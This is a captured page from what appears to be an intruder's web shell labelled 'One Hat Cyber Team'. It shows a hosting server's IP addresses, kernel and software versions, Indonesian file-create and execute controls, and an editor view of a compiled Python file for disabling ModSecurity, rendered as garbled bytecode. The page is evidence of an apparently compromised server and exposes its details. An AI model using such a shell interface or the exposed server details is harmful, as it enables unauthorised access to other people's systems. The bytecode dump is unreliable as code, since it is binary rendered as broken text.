One Hat Cyber Team
Your IP :
3.14.254.47
Server IP :
192.145.235.60
Server :
Linux ngx365.inmotionhosting.com 5.14.0-427.33.1.el9_4.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Aug 30 09:45:56 EDT 2024 x86_64
Server Software :
Apache
PHP Version :
8.2.27
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
opt
/
sharedrads
/
__pycache__
/
Edit File:
modsec_disable.cpython-39.pyc
a �g�% � @ s� d Z ddlZddlZddlmZ ddlZddlmZmZ ed�Z ed�Z dd� Zd d � Zdd� Z d d� Zd'dd�Zdd� Zdd� Zdd� Zdd� Zdd� Zdd� Zdd� Zd d!� Zd"d#� Zd$d%� Zed&kr�e� dS )(zWritten by Quentin H � N)�Path)�red�greenz/tmp/modsec_disable.lockz!/etc/ansible/wordpress-ultrastackc C s* t �� rttd�� t�d� t �� d S )Nz=Another instance of the script is currently running. Exiting.� )� lock_file�exists�printr �sys�exit�touch� r r �"./opt/sharedrads/modsec_disable.py�get_lock s r c C s t jdd� d S )NT)� missing_ok)r �unlinkr r r r �release_lock s r c C s t d�} | �� S )Nz/var/log/nginx/)r r )Z nginx_dirr r r �check_nginx s r c C s� zt jddgdddd�} W nL ty@ ttd�� td� Y n( t jyf ttd�� td� Y n0 d| jv r�| j�d �d }|�� d }|�d�d S ttd �� td� d S )N� apachectlz-vT)Zcapture_output�textZcheckz7apachectl not found. Please ensure Apache is installed.r zFailed to get Apache version.zServer version� r � �/zUnable to parse Apache version.) � subprocess�run�FileNotFoundErrorr r r �CalledProcessError�stdout�split)�resultZversion_line�versionr r r �get_apache_version"